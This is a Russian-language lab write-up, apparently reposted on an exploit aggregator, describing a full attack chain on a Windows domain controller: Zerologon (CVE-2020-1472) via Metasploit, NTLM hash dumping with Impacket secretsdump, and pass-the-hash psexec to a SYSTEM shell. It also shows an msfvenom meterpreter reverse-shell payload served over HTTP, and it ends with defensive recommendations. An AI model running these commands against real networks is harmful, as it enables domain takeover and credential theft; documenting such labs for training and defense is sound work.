Sploitus

Domain-Controller-DC-Exploitation-with-Metasploit-Impacket

kitploit · 2026-08-27

Exploit Code

MARKDOWN142 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NYAMBIBLAISE-DOMAIN-CONTROLLER-DC-EXPLOITATION-WITH-METASPLOIT-IMPACKET
# Эксплуатация контроллера домена (DC) с помощью Metasploit и Impacket

Сквозная эксплуатация контроллера домена с использованием Metasploit и Impacket: обнаружен DC10, использован Zerologon (CVE-2020-1472), извлечены NTLM-хеши, получен шелл SYSTEM, установлена сессия Meterpreter.

**Краткое описание** В данном упражнении продемонстрирована полная, реалистичная цепочка атак на контроллер домена, уязвимый для CVE-2020-1472 (Zerologon). Взаимодействие включало обнаружение, обогащение служб, эксплуатацию, извлечение учетных данных, горизонтальное перемещение и проверку пост-эксплуатации. Мне удалось получить доступ уровня SYSTEM и установить постоянную сессию Meterpreter на DC, используя комбинацию Zerologon, Impacket secretsdump + pass-the-hash, а также полезные нагрузки msfvenom/meterpreter. На каждом этапе были сделаны скриншоты и сохранены артефакты команд.

**Обзор лаборатории:** Смоделирована полная цепочка атак на **контроллер домена Windows** с использованием **Metasploit** и **Impacket** ; обнаружение, Zerologon, secretsdump, pass-the-hash и управляемая сессия Meterpreter.

**Почему это важно для организаций:** Поскольку DC управляет аутентификацией, групповыми политиками и идентификацией для всего домена, его компрометация может перерасти в полное нарушение бизнес-процессов, захват учетных записей, кражу данных, развертывание программ-вымогателей и потерю регуляторного доверия. Защита DC обеспечивает непрерывность работы, доход и репутацию, предотвращая превращение идентификации в единую точку отказа.

# Эксплуатация контроллера домена (DC) с помощью Metasploit + Impacket

### СЦЕНАРИЙ

Вам предоставлены две машины в изолированной лабораторной сети. Одна система — контроллер домена Windows (DC) с именем DC10, на которой размещены основные службы AD. Другая система — рабочая станция Kali, размещенная в том же серверном сегменте для тестирования. Предполагается, что DC открывает типичные доменные службы (например, LDAP, Kerberos, SMB) и может быть уязвим для известных проблем. Хост Kali должен использоваться для разведки, эксплуатации, получения учетных данных, горизонтального перемещения и проверки пост-эксплуатации. Задача — идентифицировать DC, подтвердить данные домена, получить первоначальную точку опоры с помощью применимой техники, извлечь материал учетных данных для получения административного доступа, а затем продемонстрировать контроль над DC через удаленный шелл и сессию управляемого агента, адаптируясь к любым ограничениям среды, таким как пропатченные службы, ограниченный исходящий трафик или защита конечных точек. DC: 10.1.16.1 Kali: 10.1.16.66

### Основные результаты

  * Использована критическая уязвимость: CVE-2020-1472 (Zerologon) успешно эксплуатирована для сброса пароля учетной записи машины DC до пустого.
  * Компрометация учетных данных: из DC извлечены NTLM-хеши (secretsdump), раскрыты учетные данные администратора, позволяющие использовать pass-the-hash.
  * Продемонстрирован полный контроль над доменом: с помощью извлеченных хешей получен шелл SYSTEM на DC10 (psexec) и запущен стабильный обратный шелл Meterpreter, что подтверждает удаленное выполнение кода и постоянство.
  * Открытые службы: LDAP, Kerberos, SMB и связанные службы RPC были доступны с атакующего хоста, что позволило провести обнаружение и эксплуатацию.
  * Риск поверхности атаки: DC принимал удаленные операции, что позволило манипулировать учетной записью машины и удаленно выполнять полезные нагрузки.



### 1) Обнаружение и разведка

Я использовал msfconsole с поддержкой БД, выполнил nmap-сканирование из MSF, импортировал результаты и уточнил хосты и службы для подтверждения доступности DC10.

  * Запустил msfconsole с поддержкой БД и подтвердил подключение к базе данных.
  * Выполнил nmap-сканирование подсети из msfconsole и импортировал результаты в БД MSF.
  * Очистил таблицу хостов, удалив свой IP Kali. Просмотрел службы, чтобы выявить вероятные индикаторы DC.
  * Использовал SYN-порт-сканер MSF с ограниченным диапазоном портов и глобальной многопоточностью для уточнения данных о службах.
  * Снял отпечаток SMB на хостах Windows для обогащения информации об ОС.
  * Подтвердил службы LDAP и Kerberos на 10.1.16.1 и проверил имя домена через LDAP-запрос.
  * Решение: рассматривать 10.1.16.1 как цель DC для эксплуатации и получения учетных данных.

![Image](https://assets.kitploit.com/production/public/readmes/30143/1dfc349e603c7b0864c81c9471cfe37ba986c4b803d28c176f015d3686c8681c.png) ![Image](https://assets.kitploit.com/production/public/readmes/30143/b4116d287968471097c2ca80ccb7af0e9bb0833fcbda4de4370733b7f8f6a12b.png) ![Image](https://assets.kitploit.com/production/public/readmes/30143/7773f7025dc9ffb26ae7ab521a13776778debd5bdc1e6df11c97ba092d4fb502.png)

### 2) Обогащение информации о службах и подтверждение DC

Я выполнил SYN-порт-скан в MSF, снял отпечаток SMB и подтвердил LDAP и Kerberos на 10.1.16.1. Я запросил LDAP для получения имени домена.

![Image](https://assets.kitploit.com/production/public/readmes/30143/1ebf43d0139f5a0e7608ba082fb5e553f033073d647fabf5063a2827bf030b08.png) ![Image](https://assets.kitploit.com/production/public/readmes/30143/a1d8adeb081bfcac41618a6310b04a9bc2282e092cc37435de1b38fcd95d035a.png) ![Image](https://assets.kitploit.com/production/public/readmes/30143/78927e97c0ce0e959de66323cb5575909020eef47dd72702549619d6dcfb6f18.png) ![Image](https://assets.kitploit.com/production/public/readmes/30143/c670c90cfbea27752885b354e96ee5958f3e8cf662dc259c8db2032cd6c70756.png) ![Image](https://assets.kitploit.com/production/public/readmes/30143/e741c6dd72f418d72c93288229fbdb666537bf2aba4fa8c0f77a525a20424968.png) ### Проверка версии SMB 

  * Я использовал модуль проверки версии SMB в msfconsole: `auxiliary/scanner/smb/smb_version`.
  * Установил цели из таблицы хостов с помощью hosts -R .
  * Получил обратно диалект SMB и информацию об ОС.
  * Результат: 10.1.16.1 показал информацию о Windows Server, что соответствовало роли контроллера домена.

![Image](https://assets.kitploit.com/production/public/readmes/30143/9467bdb9865f94bdc57933f1d8c280508bf653c0c045091f3fe40be2c8a57aab.png) ![Image](https://assets.kitploit.com/production/public/readmes/30143/ba3372853fe28985b1869cc3f3b98f50f60250fa6387096e3093a423ddd54be6.png) ![Image](https://assets.kitploit.com/production/public/readmes/30143/2a7a697e6fd1e43a7534e2a4dac3bce0985b332e80457eaef5b87f3946b1b369.png) ![Image](https://assets.kitploit.com/production/public/readmes/30143/56ac9b5fc10dc15d1d3c9b4996912b7f9cc20428afe903d2956aee192888670a.png) ![Image](https://assets.kitploit.com/production/public/readmes/30143/1ebf43d0139f5a0e7608ba082fb5e553f033073d647fabf5063a2827bf030b08.png)

### Запрос LDAP

  * Для модуля LDAP-запроса я использовал `auxiliary/gather/ldap_query`.
  * Установил rhosts 10.1.16.1 для прямого обращения к DC10.
  * Запустил его для получения базовой информации о каталоге.
  * Результат: Подтверждено имя домена «structureality» и то, что LDAP на DC отвечает.

![Image](https://assets.kitploit.com/production/public/readmes/30143/151c250aa7ed287fabcd91dd2eece51681fc5b2782f6de3e841ec5762069d558.png) ![Image](https://assets.kitploit.com/production/public/readmes/30143/a1d8adeb081bfcac41618a6310b04a9bc2282e092cc37435de1b38fcd95d035a.png) ![Image](https://assets.kitploit.com/production/public/readmes/30143/78927e97c0ce0e959de66323cb5575909020eef47dd72702549619d6dcfb6f18.png) ![Image](https://assets.kitploit.com/production/public/readmes/30143/b0a4885a06948780b8841d5c0daf57425daf2cbabded7a3cc2f040acef261b4a.png)

### 3) Эксплуатация Zerologon (первоначальный доступ)

Я запустил **auxiliary/admin/dcerpc/cve_2020_1472_zerologon** против DC10 для сброса пароля учетной записи машины до пустого.

![Image](https://assets.kitploit.com/production/public/readmes/30143/b71f609b25a9836991323b7948f1b89a8a4bc5d8ac6520271395b09c27612e2b.png) ![Image](https://assets.kitploit.com/production/public/readmes/30143/5497bdc0bf9af0ad9076ba12c2e22a4bd5dae6038496e6112a57aa75a7e80c11.png)

### 4) Получение учетных данных (secretsdump)

Используя Impacket, я сдампил NTLM-хеши с DC и определил учетные данные администратора для pass-the-hash.

**`impacket-secretsdump -just-dc-ntlm structureality/dc10\some-email@example.com`**

![Image](https://assets.kitploit.com/production/public/readmes/30143/7413d9a5ce3bab7a2f190880c7e6210b28de12972b6afea0bbd4677fc3b7ea41.png) ![Image](https://assets.kitploit.com/production/public/readmes/30143/f3a81884c913a2d64a0a377a194c6e287db52b2ed57bf9f743cacd37ee4aee1e.png)

### 5) Горизонтальное перемещение (psexec)

Я использовал pass-the-hash с psexec для получения шелла уровня SYSTEM на DC10 и подтвердил идентичность хоста.

**`impacket-psexec structureality/some-email@example.com -hashes aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9`** Как видите, я уже нахожусь в **C:\Windows\system32**

![Image](https://assets.kitploit.com/production/public/readmes/30143/b1e4a02bdf1cdf3f575a24ff6d28bdcc068a541101f40f4a47940191a58a6075.png) ![Image](https://assets.kitploit.com/production/public/readmes/30143/0f83e92de52f0695c692812571cc8b95f5ff6e46023ee41802e04d9c4be52300.png)

### 6) Пост-эксплуатация (Meterpreter)

Я сгенерировал полезную нагрузку reverse_tcp meterpreter, разместил её по HTTP, загрузил на DC10, запустил обработчик и выполнил полезную нагрузку для открытия сессии Meterpreter.

**`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.16.66 LPORT=4567 -f exe -o secretfile.exe`**

![Image](https://assets.kitploit.com/production/public/readmes/30143/6616aaf00843e3caefc581eb457757130f3dd0f18e972a5b810ef9a6a3017047.png) ![Image](https://assets.kitploit.com/production/public/readmes/30143/abbcc56ecdbfea12bb826a6998252d7701fa440eba6b93272297266d5d425cc1.png) Я запустил простой веб-сервер, чтобы целевая система могла легко получить этот исполняемый файл meterpreter, используя: 

**`python3 -m http.server 8080`**

![Image](https://assets.kitploit.com/production/public/readmes/30143/89d41d01fb0152aed7a8e742a7a7207e7a82bbc39c6ce77631ea5d0b2931ff43.png) На целевой машине я выполнил исполняемый файл meterpreter (secret.exe) ![Image](https://assets.kitploit.com/production/public/readmes/30143/9fb566fa242912ceed46b89731cfc95ead566ea24b4a6da1cebdaba19a224361.png) ![Image](https://assets.kitploit.com/production/public/readmes/30143/572e7522cafac2a0eaf98298c5d7386763ff8942e49f545f3c957e2360b77fa6.png) ![Image](https://assets.kitploit.com/production/public/readmes/30143/6bc73a7e5e62db43ed05578e4cb2152baff41ebd8f474b7e496afeec3d6b75d0.png) ![Image](https://assets.kitploit.com/production/public/readmes/30143/572e7522cafac2a0eaf98298c5d7386763ff8942e49f545f3c957e2360b77fa6.png) ![Image](https://assets.kitploit.com/production/public/readmes/30143/568270965ccb7afb62f88e5d19a6e9519b3fd083ef7893e789fbe07def87cba8.png)

Как видите, теперь у меня установлено обратное шелл-соединение между целевым DC10 и системами Kali. Это было достигнуто путем использования только внешних/удаленных эксплойтов против уязвимой цели.

Хотя система Kali находится в серверной подсети вместе с целевым DC10, `такие типы атак возможны через Интернет, если целевая система открыта для внешней сети`.

### 7) Ключевые результаты

  * DC10 идентифицирован как контроллер домена для structureality
  * Zerologon успешно сработал, что позволило извлечь учетные данные
  * Хеш администратора использован для получения шелла SYSTEM через pass-the-hash
  * Подтверждена стабильная сессия Meterpreter на DC10



### Доказательства

  * Журналы сканирования подсети MSF DB и nmap, подтверждающие обнаружение хостов и служб.
  * Вывод перечисления SMB/LDAP/Kerberos, подтверждающий службы DC и имя домена structureality.
  * Вывод модуля Zerologon, показывающий сброс пароля учетной записи машины до пустого.
  * Вывод secretsdump с извлеченными NTLM-хешами.
  * Журналы сессии psexec, демонстрирующие C:\Windows\System32.
  * Скриншоты msfvenom и сессии Meterpreter, подтверждающие удаленное управление.



### Выполненные действия (кратко)

  * Обнаружение и разведка: nmap-сканирование из msfconsole; использование БД MSF для управления хостами/службами; подтверждение DC10 как цели.
  * Обогащение служб: снятие отпечатка SMB, LDAP-запросы, подтверждение Kerberos для проверки роли контроллера домена.
  * Первоначальный доступ: запуск auxiliary/admin/dcerpc/cve_2020_1472_zerologon для сброса пароля учетной записи машины DC.
  * Получение учетных данных: impacket-secretsdump для извлечения NTLM-хешей с DC.
  * Горизонтальное перемещение: impacket-psexec с использованием NTLM-хеша администратора → шелл SYSTEM.
  * Пост-эксплуатация: сборка и размещение полезной нагрузки meterpreter (msfvenom), загрузка и выполнение на DC, подтверждение постоянной сессии.



### Рекомендации владельцам сети

  * Немедленно исправить уязвимость Netlogon и проверить с помощью сканирования на наличие CVE-2020-1472
  * Включить подпись SMB и ограничить доступ к SMB и RPC DC только доверенными административными подсетями
  * Внедрить многоуровневое администрирование и запретить удаленное выполнение служб с хостов, не являющихся административными
  * Отключить или строго контролировать NTLM, предпочитать Kerberos, отслеживать шаблоны pass-the-hash
  * Контроль исходящего трафика: ограничить исходящие соединения с серверов, разрешить только необходимые адресаты и порты
  * Защита конечных точек: блокировать неподписанные двоичные файлы и применять сканирование с интеграцией AMSI для PowerShell
  * Мониторинг: оповещать о сбросах паролей учетных записей машин, аномальном доступе к DRSUAPI и неожиданных прослушивателях, похожих на обработчики
  * Регулярно менять привилегированные учетные данные и использовать решения LAPS или PAM для снижения риска повторного использования хешей